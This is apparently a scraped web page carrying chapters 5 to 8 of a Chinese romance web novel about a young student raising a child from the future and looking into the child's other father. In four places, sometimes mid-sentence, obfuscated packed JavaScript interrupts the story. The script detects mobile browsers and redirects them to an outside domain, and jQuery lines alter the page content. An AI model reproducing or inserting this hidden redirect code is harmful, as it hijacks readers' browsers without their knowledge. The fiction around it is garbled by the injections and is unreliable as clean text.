清晨熹微的阳光下,唐绪脑中没由来的冒出了一些早年偶像剧的场景。 现实和偶像剧不一样,‘男主’没有接住‘女主’,侧身避开了直面向他倒过来的人。 在白榆快要脸着地摔倒在楼梯上时,宋时蔚伸手准备拉他一把。 然而他还没碰到对方,手腕就被狠狠抓住,一股强横的力压着他的手腕向内侧翻去。 宋时蔚轻挑了下眉,垂眸看了眼拽着他的手腕踉跄着站稳了的小孩。 这属于好心没好报吗?宋时蔚想道。 意识不清,白榆有些不舒服的哼了一声。 怎么拽不动? 白榆皱眉,本能的加大力度。 怎么还是拽不动? 白榆在困惑中艰难的把眼皮掀开一条缝,迷茫地看着面前的这一幕。 他正抓着一个人的手腕。 ……抓的还挺紧的。 白榆下意识的拉着别人的手往上抬了抬。 刚还压根拽不动的手臂,这个时候顺着他的力气毫无反抗的被拉了起来。 ……?!! 白榆把眼睛睁大,瞬间清醒过来。 “可以放开了吗?”一道低沉的声音在白榆耳边响起。 白榆的视线顺着声音往上走,一张陌生的面孔出现在了他的面前。 对方很高,明明在他下面一节台阶,身形却完全笼罩住他,有着一双深邃的眼睛,眼角微微上调,透过镜片自上而下的俯视着他。 白榆触电般的快速松开手,背着身子蹭蹭往台阶上走了两步。 他看着对面的陌生男人窘迫的说道:“抱歉。” 可能是刚刚拽着他的原因,白榆的视线忍不住的往对方的手腕处飘去。 于是他就看见了对方微微卷起的袖口处,露出来的一片青紫的指印。 白榆:“。” 白榆僵硬的移开视线,恰巧正对上了唐绪奇怪的目光。 我刚刚是不是正抓着他的手腕来着的…… 白榆吞咽了几次,瞄了一眼对面的男人。 如果我说我不是故意的……他信吗? 5. 第 五 章 某人街头失去意识,再次醒来时,惊讶的发现自己把陌生人打伤?这究竟是灵异事件的发生,还是人格分裂的前兆,层层谜团下,事情的真相到底是什么。 然而现实是,白榆很清楚没什么谜团……这就是他干的。 小时候养出来的毛病,他意识不清醒时,偶尔会干出一些……不太好的事。 白榆心虚的瞄了一眼对面的人。 宋时蔚简单活动了几下手腕,眼角瞥到少年的视线后,抬眸看向对方。 白榆心更虚了。 对方的瞳孔是很深的墨色,就这么看过来的时候,下意识的让人心脏一紧。 白榆往上又走了一节楼梯,舔了下唇,解释道:“抱歉,我不是故意的。我……刚刚低血糖犯了,脑子有点不清醒。 “要不,我们去医院看看。” 白榆试图提出一个‘可靠’的解决方案。 宋时蔚看着面前明明很慌张,却还板着张脸的小孩,莫名觉得有些想笑。 宋时蔚将袖口理平,简单带过了这件事,“我没事,不用去医院。” 白榆对自己的力气心里有数,有些不放心,“要不,还是……” “我一会有事。”宋时蔚没有多说,简单的拒绝了。 “哦,好。抱歉。”白榆识相的没有继续问,往旁边走了几步,在楼梯上给对方让出一条路。 宋时蔚没说话,带着身后的秘书离开这里。 他从白榆身侧走过时,忽然顿了一下。 白榆抬头疑惑的看着对方。 这是,终于想起来要找他算账了? 眼前这个人像是忽然想起了什么,把手伸进口袋里,不一会掏出一颗糖来。 宋时蔚将糖果拿到白榆身前。 白榆下意识的伸出手去接。 宋时蔚动作自然的将糖果放到白榆的掌心上。 白榆的视线也跟着往掌心处看。 “吃点糖,别一会低血糖又犯了。不然……”宋时蔚很轻地笑了一声,“再拽着别人胳膊不放就不好了。” 白榆:“?” 白榆盯着手心里的糖,直到宋时蔚走远才反应过来。 刚那个男的是在嘲笑他吗。 沉默了几秒后,白榆扯开糖纸,将糖扔到嘴里,冷着张脸,咔吧咔吧的把糖咬碎。 行吧。 笑就笑吧,反正他不占理,白榆臭着张脸,把糖渣咽下去。 白榆站在原地缓了会,去找了家二十四小时便利店,在里面买了些吃的,坐在靠窗的桌子前吃了起来。 东西下肚,白榆长长的呼出一口气,感觉自己的五脏六腑和大脑终于又重新活了过来。 焦躁不安的情绪,也随着血糖的回升,逐渐趋向于平稳。 白榆啃着手中剩下的饭团,抬头看着天空,想起了鉴定报告的问题。 还能怎么办。 好像搞得他不接受,这件事就能不存在了。 那么大一个小孩,就能刷的一下消失不见了一样! 而且说不定养孩子也没他想象中那么麻烦……吧。 骑车回去的一路上,白榆都在尽量说服自己去接受这个现实,然而当他站在房门口,推开房门的那一瞬间,指尖还是止不住的颤动。 如果这个时间点,白予安已经醒了怎么办。 如果白予安醒了,一个人在家哭怎么办? 如果…… 白榆不可避免的紧张了起来。 门被彻底推开,房内的场景却和白榆想象中的完全不同。 白予安的确醒了,但没哭,坐在靠窗的沙发上,手里抱着本杂志,圆滚滚的眸子专注的看着,两只小腿在沙发下晃啊晃的。 朝阳下,人类幼崽仿佛自带一种治愈人心的神奇能力。 发现白榆回来后,白予安蹭的一下从沙发上跳了下来,快步向他跑过来,一双眼睛亮晶晶的看着他。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15490787|170128||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“爸爸!” 白榆有一瞬间的恍神。 很奇怪的一件事,今天因为这个孩子产生的各种负面情绪,这一刻也因为看到这个孩子完全消失了。 白榆盯着白予安看了许久,半蹲下来,捏了一把对方软乎乎的小脸 白予安:“?” 其实有个小孩也挺好的,白榆默默的想道,手又忍不住捏了几把白予安。 白榆忽然放松下来,心情甚至能称得上明媚。 他看了眼手机上的时间,走到冰箱前,问道:“怎么这么早就醒了,不睡了吗?” 白予安回到沙发上,重新拿起杂志,猫儿似的眼睛却一直小心翼翼的往冰箱那里瞄,有些不自然的说道:“不睡了。” “喝点牛奶垫一下吧,我定了早饭,一会就到。”白榆打开冰箱,发现他昨天买的巧克力包装被拆开了。 他也没多管,本来就是卖白予安吃的。 白榆把巧克力盒从冰箱里拿出来,准备自己也拿一块,尝一下味道。 客厅里,从白榆打开冰箱开始,就密切注意着他动作的小崽崽,看到这一幕后,悄悄放下杂志,猫着身子溜回卧室里去了。 白榆把巧克力的包装盒打开后,愣了一下。 里面怎么一大半都是空的? 买到瑕疵品了? 白榆仔细的看着里面的巧克力。 一盒巧克力一共八十八颗,现在少说有……四十颗没了。 东西呢??? 白榆双手拿着巧克力盒子,背着身子往后走了两步,不小心踢到了垃圾桶。 他低头往下看,发现垃圾桶里丢的满满都是巧克力的糖纸皮。 白榆后知后觉的才反应过来,转头往客厅的方向看去,原本坐在沙发上的小崽崽已经消失不见了。 咔的一声。 卧室房门落锁的声音在安静的室内响起。 白榆:“白予安!!!” 6. 第 6 章 白榆端着空了大半的巧克力包装盒,额头青筋蹦起。 他走到卧室门前,敲了两下,语气尽量平和的说道:“白予安,开门。” 白予安贴在门上,竖起小耳朵听外面的动静, “你不生气了,安安就开门。” 白榆更生气了。 他深呼吸了几次,试图劝自己不要和小孩计较,对里面说道:“你再不开门,我就去拿钥匙了!” 白予安:“安安已经把钥匙拿走了,进不来的!” 白榆被气的心肌梗塞,快步往客厅走,用力抽开茶几的抽屉,果然卧室的钥匙已经找不到了。 气死我了! 三分钟后,白榆站在门口,忍辱负重的说道:“你开门吧,我不生气。” 白予安试探性的把卧室的门打开,刚往外探出一个脑袋,就直直地撞在了白榆的腿上。 白予安被撞得一个踉跄,往后退了两步,可怜巴巴的仰头望着白榆。 白予安扯着白榆的衣摆,奶声奶气的喊道:“爸爸。” 白榆憋的一肚子的怒火,像被针戳破的气球一样,嗖的一下放完了。 白榆刻意冷着张脸,说道:“我以前有没有告诉过你,小孩子不能吃这么多巧克力。” 白予安低下头,不敢去看白榆的眼睛,将两只小手背到身后,带着点鼻音轻轻的说,“有。” 白予安这个样子,反而让白榆凶不起来了。 他半蹲下来,报复似的揉着白予安的小脸,“那你还吃那么多。” “对不起,爸爸。”白予安的软乎乎的小脸被白榆蹂躏着,声音有些不清楚,“我不应该趁你不在的时候,偷偷吃那么多巧克力的。” “下不为例。”白榆顿了顿,伸手比了个二,“以后你一天最多吃2颗巧克力。” 白予安眼里忽的一下多了泪珠,泪眼汪汪的看着白榆。 白榆转过身,不去背对着白予安,狠下心说道:“三颗也行。” 白予安小跑到白榆面前,拉着他的衣摆,没有说话,继续泪眼汪汪的看着他。 白榆怕自己心软,捂住小崽崽的眼睛,赶忙说道:“四颗,最多四颗了。” “……好吧。”白予安闷闷不乐的低下头,软乎乎的脸颊鼓成了一个小河豚。 白榆悄悄松了口气,看到放在桌子上的巧克力,随手从盒子里拿了一颗。 这么好吃吗? “啊!爸爸!”白予安还没来得及阻止,就见白榆已经剥开糖纸,把巧克力放到嘴里了。 白榆的整张脸瞬间皱了起来。 苦到了一种极致,甚至能产生反胃的感觉。 白榆拿起桌子上的杯子,仰着头往嘴里灌水。 白予安轻拍着白榆的背,“爸爸,你没事吧。你以后不喜欢吃这个巧克力的。” 白榆缓了半天才缓过来,“……我现在也不喜欢这个巧克力。” 这种东西为什么还没有停产! 真的有人喜欢吃吗? 白榆强忍住口腔内的苦涩,瘫坐在沙发上。 白榆思考了一会,尽量委婉的问了一句,“安安,我以后有专门带你去医院查过味觉吗?” 白予安:“???” 白予安认真思考了一下,“没有吧?” 白榆往嘴里塞了好几颗柠檬糖,含糊不清的说,“那等什么时候,我们一起去医院一趟吧?” “好。”白予安歪了歪小脑袋有些不解。 白榆胳膊不小心碰到了什么东西,转头去看,发现是刚刚被白予安抛弃在沙发上的杂志。 撇了一眼杂志上的内容,白榆整个人都很迷惑,“你刚才是在看这个吗?” “嗯。”白予安小鸡啄米一样的点头。 白榆把杂志拿到手上。 这不是全英文的吗? 他之前为了增加英文阅读量,在网上定了一大堆英文杂志,摆在书房里,虽然买回来后,一眼也没看就是了…… 白榆瞅了一眼白予安。 在看上面的插画吗? 但上面也没什么图啊? 白予安把拖鞋蹬掉,蹦到沙发上,一蹦一跳的钻到白榆的身后。 白榆奇怪的看着上面的内容。 这上面写的是…… “sw机器人中心创始人,宋时蔚先生正式参与宣荣项目,领导研发团队的技术研究,并仍保与……” 人类幼崽奶声奶气的念着。 白榆楞了一下,不可思议的转头看过去。 白予安正趴在他背上,视线盯在杂志上,精准的翻译着上面的英文。 白榆被惊到了,问了个有点蠢的问题,“你,看的懂?” 白予安疑惑的眨了眨眼。 安安读错了吗? 白榆放下手中的杂志,端起水杯,喝了几口凉水,平复自己内心的震撼。 以后的小孩都这么卷吗。 这杂志上面一堆专业词汇,有的地方我都要猜意思,为什么白予安读起来一点障碍都没有? “爸爸,这上面写的是爹地。”白予安从他手中抽走杂志,翻到刚才读的那一页,蹦到地上,兴奋的向白榆展示。 “咳咳咳……”白榆差点没一口水喷出来,弯着腰不停的咳嗽。 “爸爸,你没事吧。”白予安拍着白榆的背,关切的围在他身边。 白榆勉强止住咳嗽。 白榆在沙发上静坐了半晌,也实在是说不出自己没事这种话。 白榆揉了揉耳朵,又问了一遍,“你刚刚说什么来着” 白予安:“?” 爸爸没听清吗? 白予安指着杂志说,“这上面写的是爹地。” 白榆揉了揉太阳穴,不信邪的又问了一遍,“上面写的是谁?” 白予安:“?!” 白予安垫起脚,凑到白榆耳边说,“爹地!” 白榆这下彻底不能装作听不清了,心冷的想着,他到底是做了什么孽才买的这本杂志。 白榆也顾不上什么五岁大的小孩能流畅的看英文杂志这种‘小事’了,从白予安手里抽走了杂志,逐字逐句的看了起来。 宋时蔚,男,归国华裔,目前在A大任教,奠定了华国在机器人研究领域国际领先地位的关键人物。 上面是一篇关于机器人的科普性文章,着重讲的是对方的一些科研成果,而非宋时蔚本人。 白榆试着在网上查了一下,某度的介绍上也找不到什么有用的内容,连张照片都没有。 唯一能确定的就是……对方很非常非常非常的牛逼。 牛逼到白榆不清楚,他一个上课划水的普通大学生是怎么和对方这种泰斗级别的大牛扯上关系的。 他们还结婚了? 还有孩子了?! 白榆皱眉看着对方厉害到他甚至都看不懂的各项成就,由衷的觉得很诡异。 “崽,你……”白榆暂时没办法说出你爸爸这个词,换了个叫法问道,“宋时蔚是个什么样的人?” 被抢走杂志的白予安小朋友没有闹,完全发挥了自娱自乐的精神,跑到另一边没有人坐的那块沙发上,蹦来蹦去的,“爹地吗?爹地很很聪明。” “嗯。”白榆的语气没有什么波澜,“显然易见。” “我是说别的方面。”白榆顿了顿,小心的问道,“比如说……他多大了。” 正跳到半空中的小崽崽一顿,屁股着地,跌坐在沙发。 “嗯……”白予安迟迟没有说话,眼睛悄悄瞄了一眼白榆的表情。 爹地虽然不说,但是好像一直很在意年龄的事。 爸爸现在是不是要给安安找后爹啊? 安安说实话会不会……会不会爸爸就要离婚了啊? 白予安纠结的咬着手手,支支吾吾的说道:“……稍微比爸爸大一点点” 白榆继续追问,“大一点点是多少?” “大,大……”白予安低着头,避开白榆的视线,小小声的说道:“……大11年11个月21天” 白榆有些惊讶,声音下意识的增大,“才大十二岁吗?!” “没有,没有。”白予安小脑袋快速的摇着,被爸爸的反应吓了一大跳,“只大十一岁多亿点点而已。” 白榆很意外。 他以为这种程度的大佬起码已经五十多了。 居然才三十出头吗? 白予安被爸爸的反应吓住了。 完了,爸爸这是嫌弃爹地老了。 要给他找后爹了。 白予安试图补救,努力地想宋时蔚的各种优点,“爹地很厉害,他……还是一位教授。” “……哦。”白榆沉默片刻才说道。 三十二的人,一般不会有多老。 三十二岁的工科教授除外。 白榆忽然想起上学期给他们上课的一位老教授。 对方整整一个学期都穿着一模一样的衣服,从来没有换过。后来白榆才从室友那听说,他是一模一样的衣服买了5套。 这不是最让白榆惊讶,最让他惊讶的是,教了一学期的课,直到期末的时候,他才在学校的生评教系统上发现,这人居然才36。 一直以来,白榆都以为对方是有孙子的人了…… 白榆坐在沙发上彻底不说话了。 他当然清楚,做人不能只看脸,重要的是内涵。 但这一刻,他脑子里还是冒出了一张,发量稀少,满头白发的五十多岁慈祥的老爷爷面孔。 白榆打了个冷战,刷的一下从沙发上站起来了。 他到底为什么会和这个人在一起。 …… 傍晚,一家咖啡店内。 宋时蔚半靠在椅子上,手中拿着一张折好的报纸,在这里等人。 “时蔚。”高跟鞋的声音从宋时蔚身后传来。 宋时蔚回过头,一位妆容精致的女士踩着细高跟朝这个方向走了过来。 苏南坐在宋时蔚的对面,歉意的笑了笑,“抱歉,让你久等了。” “我也刚到。”宋时蔚放下手中的报纸。 一旁的服务员走了过来。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15490788|170128||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 苏南对服务生说,“美式,谢谢。” 宋时蔚:“和她一样。” 苏南从包里掏出烟盒,敲出一根烟,递给宋时蔚问道:“抽吗?” “谢谢。”宋时蔚接过烟,问苏南要了个打火机。 宋时蔚没烟瘾,私底下几乎不会一个人抽烟,不过这种场合下,他也不会看着别人一个人抽。 苏南知道宋时蔚是在配合自己,把打火机递了过去,含着笑意说道:“你还是那么体贴。” 宋时蔚夹着烟,开玩笑似的说,“那我这么体贴,你不还是不要我了。” “那不一样,时蔚。”妆容精致的女人优雅的吞云吐雾着。 苏南看着眼前的人,时隔十年,终于毫无芥蒂的说出了口,“时蔚,你不爱我。” 说完,苏南释怀的笑了下,“可能我也不爱你。” 宋时蔚也跟着笑了下,“是吗。” 苏南夹着烟,看着眼前的男人,有一瞬间的恍惚。 他们有个……三年了吧。 三年没见了。 苏南忽然回想起了十年前的事。 二十来岁的宋时蔚,年纪轻轻就已经达到常人难以企及的高度。 对方俊美,体贴,才华横溢,这样的男人哪个人不‘喜欢’,她也‘喜欢’。后来她表白了,宋时蔚同意了,他们就顺理成章的在一起了,成为了一对让别人羡慕的情侣。 这段感情的最初,苏南也曾很满意。 只是随着时间的推移,她总觉得有哪里不对…… 苏南觉得她可能还是比宋时蔚要较真一点吧,不能接受一段没有爱的恋情。 苏南意识到了自己刚说的话有些不合适,自然的岔开了话题,“我们有五、六年没见了吧,你……” 苏南看着对方,停顿了片刻,缓慢的说道:“你感觉一点都没变。” 其实只是这么看的话,宋时蔚变了很多。宋时蔚年轻的时候,远要比现在要冷漠,身上带着一股从骨子里透出来的戾气,和眼前这个文质彬彬的男人仿佛不是一个人。 不过奇怪的是,苏南觉得这个人一点都没变。 宋时蔚笑了一下,神色平静的抽着苏南烟。 烟味很淡,是对方以前绝对不会去碰的牌子。 宋时蔚:“你倒是变了很多。” 他喝了口咖啡,平静地问道:“怎么突然回国了?” 苏南从包里抽出一张请帖,递给对方,大方的说道:“我要结婚了。男朋友家里人都在国内,我们打算在国内办一场婚礼。” 苏南:“时间就在下个月,方便来吗?” “有时间一定去。”宋时蔚接过请帖,祝福道,“新婚快乐。” “谢谢。”苏南笑了起来,明艳的面容露出两个浅浅的酒窝。 这么久没见了,两人之间其实没什么值得聊的事情。 出于风度宋时蔚主动寻找着合适的聊天话题,事实上只要他愿意,他能在照顾到对方的感受前提下,和任何人聊的起来,更何况苏南本身就是一个很好的聊天对象。 苏南的手机忽然响了一下。 她看着屏幕上的名字,露出了连她自己可能都没意识到的笑容,“不好意思,我男朋友来了,要不……我叫他进来。” 宋时蔚看出来她的犹豫,体贴的说道:“我一会还有事,今天就聊到这吧。” 苏南会心一笑,拿起她的包,“好。” 宋时蔚起身,送苏南离开咖啡店。 咖啡店门口正对面的马路上站着一个二十来岁的年轻人,看到苏南后,丝毫不顾及路人的目光,热情的向她挥手。 “姐姐!” “真是。”苏南笑着抱怨了一下,礼貌的和宋时蔚告别,“那我先走了。” 宋时蔚:“快去吧。” 苏南往对面走去,忽的她的步子停了一下,回过头来,轻声的喊了句,“时蔚。” 宋时蔚:“嗯?” 不知道是不是夜色太过苍茫,苏南忽然有些惆怅,想起以前的事。 她和宋时蔚谈恋爱的那段时间,对方绝对称得上是一个完美的男友,哪怕后来分手了,他们也从没撕破脸,一直保持着联系。 这么多年来,宋时蔚帮过她很多,哪怕是站在朋友的立场上,苏南还是发自内心的希望对方能够幸福的,虽然……或许他本人不在意。 暖色的路灯下,苏南遥遥的望着宋时蔚,目光温和,轻声说道:“你一定要找到一个你爱的人在一起。喜欢很多时候,远比你想象中的重要。” 宋时蔚看了一眼马路对面死死的瞪着他的人,笑着说道:“快过去吧,他要着急了。” “好。”苏南回过头,看着眼巴巴等自己的小男朋友,笑了一下,踩着她的高跟鞋,快步走了过去。 两个人不知道说了些什么,苏南笑着敲了一下对方的头,眼里是她和宋时蔚谈恋爱时,从未有过的光彩。 宋时蔚看着马路对面的场景,发自内心的祝福苏南,却不羡慕。 对他来讲,这种事也许没那么重要。 7. 第 7 章 白榆刚才在便利店里吃过东西了,送过来的早饭,他随便吃了几口,就开始观赏起人类幼崽的迷惑行为。 不知道为什么,白予安特别喜欢一口直接把小笼包吞进嘴里。 偏偏他还很小,每次塞进去的时候,都弄的脸颊都鼓鼓的,然后在随着咽下去,一点点的往回缩。 像个河豚一样…… 想戳,白榆拿着筷子想道。 小河豚又吃了一个包子,眨了眨眼,疑惑的看着白榆,“爸爸,你为什么一直盯着我啊?” 白榆轻咳一声,有些不好意思的移开视线。 “我……”白榆打算随便扯个谎的时候,手机响了起来。 他瞅了眼手机上的名字,接通电话。 “小榆,听薛楠说你多了个孩子?”哪怕是隔着手机,白榆也能清楚的听见电话那头浓浓的笑意。 白榆的脸色瞬间变臭。 见电话那头迟迟没有传来声音,谢昀澈忍不住笑出声。 白榆的脸色更臭了,硬邦邦的说道:“嗯。” 笑声戛然而止,谢昀澈维持着拿手机的姿势,半天,他才反应过来白榆到底说了什么,“别开玩笑了,你哪来的孩子。” “我不会拿这种事开玩笑的。”白榆换了只手拿手机,靠在沙发背上,自暴自弃的说道,“这个事情吧……比较复杂。总之,我一会去酒吧找你在说吧。” * * * 两个小时后,酒吧包厢里。 这个时间点正巧是夜场刚结束,服务生在收拾场子的时候,包厢里出奇的安静。 “你是说……这个孩子,是未来你和一个男人生的?” 谢昀澈靠在沙发上,有一瞬间的觉得自己产生了幻听。 “不。”白榆一本正经的纠正,“不是我生的。” 谢昀澈坐直了身子,缓和了半天,也没办法接受这个消息,没由来的问了一句,“今天是愚人节吗?” 白榆用小叉子叉起一块切好的梨,随意的说,“现在是7月份。” 谢昀澈深吸一口气,觉得自己的太阳穴在跳。 他蹙着眉头,从烟盒里抽一根香烟出来,习惯性的准备点燃,余光却又瞥见在旁边画画的白予安,烦躁的把烟扔了回去。 谢昀澈撇了一眼白榆,直接问出了现在最关键的问题,“你打算,怎么处理那个孩子的事。” 谢昀澈怕白予安听见,刻意放低了声音。 白榆的动作一顿,把翘的潇洒的二郎腿放下,一改之前没心没肺的样子,斟酌着开口,“那个,就是,你知道的吧,这孩子没户口。” 谢昀澈:“?” 白榆说出了自己的目的,“你能先帮我把白予安的户口给解决了吗?要不然他没户口,不好上幼儿园。” 谢昀澈:“?!!” 白榆避开谢昀澈的目光,低头去喝杯子里的饮料。 他、谢昀澈还有薛楠是发小,从小学的时候就认识了。 和他还有薛楠不一样,谢昀澈是个很靠谱的人,高中的时候,因为一些事就没有在继续念书了,一路打拼到现在,在苏城开了这家酒吧,三道九流的人都沾点。 白榆暂时不想让太多人知道白予安的事情,现在又要解决白予安的户口问题,最好的方法就是来找谢昀澈了。 认识这么多年了,白榆也没少麻烦过对方,但只有这次莫名的心虚。 谢昀澈捏了捏鼻梁,觉得自己的有些头疼。 他走到白予安面前,语气尽量温和的说,“小朋友,你能先出去和外面的大哥哥玩吗?” 白予安原本趴在桌子上用蜡笔专心的画画,听到叔叔的声音后,抬头起小脑袋,看了看爸爸,又看了看谢昀澈,最后还是懂事的点了点小脑袋,抱着他的画笔和纸哒哒哒的跑出去了。 见孩子走了,谢昀澈劈头对白榆问,“你不会是真的打算养这个孩子吧。” “不然呢?”白榆用杯子上的吸管,搅动着里面的果汁,“我也不可能把他给扔了啊。” 谢昀澈挑了下眉,白了他一眼,“你知道自己多大吗?” 白榆:“我又不是傻子。” “行,你不是傻子。”谢昀澈冷飕飕的问,“那你也应该清楚你才二十岁,你现在带着一个五岁大的孩子,你要怎么生活?” 白榆小声说,“其实这两天我们过的还可以。” 谢昀澈没管白榆的解释,继续问,“他不是还有一个爸爸吗?那个男的不是比你大很多吗?出现这种事,他怎么说也应该付一半的责任吧?” 白榆没有说话。 谢昀澈瞥了一眼白榆的神情,认识这么多年了,他几乎立刻明白了对方 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15490789|170128||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的想法。 谢昀澈追着问,“你不会,根本不想去找那个男的吧。” “……这到没有。”白榆望着前方的酒柜,有气无力的说,“白予安看起来和那个男的感情非常不错,估计没办法接受我单方面‘丧偶’。” 白榆的这个态度,弄的谢昀澈头更疼了。 他知道以白榆的性格,他现在说些什么估计都没用。 但他又不能放着不管…… 白榆:“对了。还有一件事,我想找你帮我查个人。” 谢昀澈靠在沙发上,一只手支着头,垂下眼帘,“宋时蔚吗?” “嗯。”白榆点头。 “比你大十二岁,又是个男的。” 谢昀澈语气不善,“老牛吃嫩草。” 白榆沉默的吃着水果。 “你家那里,打算怎么办。”谢昀澈坐直身子,“其他人不说,你哥呢?你能一直瞒着他?” 白榆插水果的动作一顿,破罐子破摔的说道:“到时候再说吧,车到山前必有路。” 谢昀澈正想说些什么,接着被白榆打断,“没路,我撞出一条路。” 谢昀澈:“……行。” “还有,我有一件挺急的事。”白榆放下叉子,“我马上要开学了。” 谢昀澈没懂白榆的意思,“嗯?” 白榆认真分析,“到时候我肯定大部分的时间都要在学校,没时间看孩子。我打算给白予安找一所幼儿园去上。” 谢昀澈不以为意,“我记得你们学校附近的商场就有一家幼儿园,正好离得还近,方便。” 白榆脱口而出,“那当然不行。” 白榆知道谢昀澈说的那个地方。就在他们学校附近的购物中心顶层,里面开了一家小小的幼稚园,旁边则是一家不太正规冰刀培训中心,角落里还窝着一家寿喜烧店。 白榆以前路过的时候,只是单纯觉得幼儿园在这办不太好,但一想到白予安要去哪里上学,他瞬间对那家幼儿园充满了偏见。 “不。”白榆皱着眉,浑身上下都写满了抗拒 ,“学习是一件很重要的事情,不能这么随便。” 谢昀澈一顿,抬眸看向白榆,视线很夸张的在白榆身上上下扫荡了一圈,最后停在了他那头刺眼的白发上,“白榆同学,这种话从你嘴里说出来怎么这么奇怪呢?” 8. 第 8 章 白榆眼皮没什么精神的垂着,盘腿坐在自家电脑前,困倦的打了个哈欠。 他在给白予安找学校。 户口的事,谢昀澈帮他去处理了。偌大的华国,有几个没户口的小孩也不是什么稀奇。不出意外的话,过两天白予安的户口就能落在他名下了。 现在最主要的还是上学的事。 白榆又打了个哈欠。 昨天一晚上没睡的报应来了,白榆现在觉得自己快要困得出幻觉了。 白榆眯着眼睛艰难的在网上搜寻着合适的幼儿园时,他的手机响起了起来,谢昀澈给他发了一个文件过来。 【苏城幼儿园资料汇总】 看着多出来的几个g的巨大文件,白榆陷入了沉默。 这是什么? 白榆撩了一把额前扎到眼睛的碎发,拿了个皮筋,在头顶扎了个小揪揪,支着脑袋点开了这份文档。 莫尔国际幼儿园,学校采取沉浸式英语教学,小班制教学制度,确保每个班不超过20人,培养孩子的创新性,自主性。园内设有温室蔬菜大棚,为学校提供天然的有机食材。校园内设有小小动,植物园,让孩子在小动物的陪伴下成长…… 看着上面的内容,白榆的那点困意都跟着飘走了。 大棚? 动,植物园?? 幼儿园都这样了吗??? 白榆没上过幼儿园,小初高都是在公立学校上的。他一直都觉得他们学校在周围一片,都算得上硬件设施好的了,但和这个幼儿园一比就……什么都不是了。 白榆滑动鼠标,满脸茫然的浏览着上面繁长的教学理念。 他手机忽然响了一下。 【谢昀澈:发你的文件看了吗?】 白榆瞟了眼完全看不到底的文档。 【树:看了一点。】 【谢昀澈:现在这个时间点,想上好的公立幼儿园,基本上是不可能了。我给你找了几家苏城有名的私立幼儿园资料】 【树:我挑挑】 【谢昀澈:我发你这个不是让你挑的】 【树:?】 谢昀澈觉得自己和个老妈子一样。 他以前给白榆操心就算了,现在居然还要给白榆的孩子操心。 【谢昀澈:每所学校的后面,都有报名方式。你今天抓紧点时间,把这些学校的线上报名都报了】 【树:???】 【谢昀澈:可能哪一所都考不上。现在只能广撒网,细捞鱼了】 白榆:“……” 白榆沉默了两秒才回复。 【树:好的】 白榆顺着文件里的链接,打开了学校官网的报名页面。 整个流程比白榆想象中的还要复杂。 首先他要在网上填写一份入学申请。 如果申请通过的话,学校会给他打电话通知他笔试的时间。 接着他就要带着白予安到学校,参加幼儿园举办的笔试。 笔试结束后,学校会放出合格的孩子的名单,家长则会收到面试时间的通知。 再接着他又要带白予安到学校。 他和白予安要分别去参加学校的面试。 再这之后,学校才会综合评定两场考核的表现,确定最后的录取名单。 录取名单上面的孩子,就能去幼儿园上学了。 白榆:“。” 现在的小孩上个学原来这么麻烦吗? 这套流程下来,他都要开学了。 白榆点开申请页面,发现今天恰好是报名的最后一天,忽然有些紧张,开始填写上面需要的资料。 学生父亲。 姓名:白榆 年龄: 白榆顿了顿,在这一栏打上20。 学历:b大在读。 兴趣爱好:动漫,游戏。 白榆沉默了片刻,默默的按动键盘上的删除键,重新打字。 兴趣爱好:研究r国输出文化,和他人合作进行激烈紧张的对抗比赛。 联系方式:××× …… 经过一通瞎编乱造后,白榆身心俱疲的填写完了申请里繁琐的信息,以为要结束了的时候,页面上忽然蹦出来一行小字。 请简单介绍一下您的孩子。 备注:全文请在2000字以上,3000字以下。 白榆:“……” ‘两千字’。 这个学校是不是对简要这两个字有什么误解。 白榆好不容易写完了后,看了眼时间。 很好,一个半小时没了,白榆面无表情的想道。 白榆伸展了一下身体,从凳子上站起来,打算过一会再填接下来几所学校的信息。 白榆打着哈欠,走到客厅,眼神迷离的看着趴在地板上还在画画的小崽崽。 他现在困得厉害,也懒得去和白予安说什么不能趴在地板上了,大脑卡壳了片刻,干脆自己也趴在地上了。 地板 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15490790|170128||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上好凉快,白榆贴着地面想道。 